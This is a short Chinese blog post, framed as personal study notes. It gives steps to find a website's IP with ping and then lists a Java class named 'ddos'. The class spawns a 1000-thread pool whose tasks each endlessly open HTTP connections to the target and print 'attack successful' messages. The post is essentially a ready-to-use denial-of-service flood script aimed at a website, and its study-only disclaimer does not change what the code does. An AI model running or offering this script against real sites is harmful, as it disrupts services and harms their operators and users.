注:本博客只是为了自己的学习,记录自己的学习,请勿用于其他途径、
1、win+R-->cmd
2、ping 网站
3、替换IP
1 import java.io.BufferedInputStream;
2 import java.io.IOException;
3 import java.net.MalformedURLException;
4 import java.net.URL;
5 import java.net.URLConnection;
6 import java.util.concurrent.ExecutorService;
7 import java.util.concurrent.Executors;
8
9 public class ddos {
10 public static void main(String[] args) {
11 //利用线程池创建1000个线程
12 ExecutorService es = Executors.newFixedThreadPool(1000);
13 for (int i = 0; i < 10000; i++) {
14 es.execute(
15 (Runnable) () -> {
16 while (true) {
17 try {
18 URL url = new URL("http://xxx.xxx.xxx.xxx");
19 URLConnection conn = url.openConnection();
20 System.out.println("发包成功!");
21 BufferedInputStream bis = new BufferedInputStream(conn.getInputStream());
22 byte[] bytes = new byte[1024];
23 int len = -1;
24 StringBuffer sb = new StringBuffer();
25
26 if (bis != null) {
27 if ((len = bis.read()) != -1) {
28 sb.append(new String(bytes, 0, len));
29 System.out.println("攻击成功!");
30 bis.close();
31 }
32 }
33 } catch (MalformedURLException e) {
34 // TODO Auto-generated catch block
35 e.printStackTrace();
36 } catch (IOException e) {
37 // TODO Auto-generated catch block
38 e.printStackTrace();
39 }
40 }
41 }
42 );
43 }
44 }
45 }